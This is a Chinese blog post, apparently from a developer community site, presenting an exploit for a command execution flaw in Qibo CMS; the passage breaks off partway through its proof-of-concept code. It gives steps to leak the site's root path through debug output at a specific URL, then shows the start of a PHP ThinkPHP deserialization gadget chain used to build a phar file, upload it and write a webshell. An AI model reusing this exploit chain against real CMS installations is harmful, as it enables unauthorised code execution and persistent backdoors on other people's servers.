某cms代码审计

最新推荐文章于 2025-10-15 01:05:50 发布

原创

最新推荐文章于 2025-10-15 01:05:50 发布 · 892 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #深度学习 #安全 #安全漏洞

本文详细介绍了齐博CMS系统中存在的命令执行漏洞，从揭露网站根路径开始，通过生成并利用phar文件，实现文件上传，最终在系统中写入webshell。此过程展示了漏洞的利用步骤和安全风险。

[齐博CMS系统存在命令执行漏洞]

【技术资料】

漏洞利用过程：

1 首先爆出网站跟路径：

访问：

/index.php/cms/1

会在debug里看到网站根路径！如果开了debug的话！
在这里插入图片描述
然后根据网站根路径修改poc! 看poc里的注释！

2 利用poc生成 phar文件

poc

<?php
namespace think\process\pipes {
   
   
    class Windows {
   
   
        private $files = [];

        public function __construct($files)
        {
   
   
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
   
   
    abstract class Model{
   
   
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
   
   
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation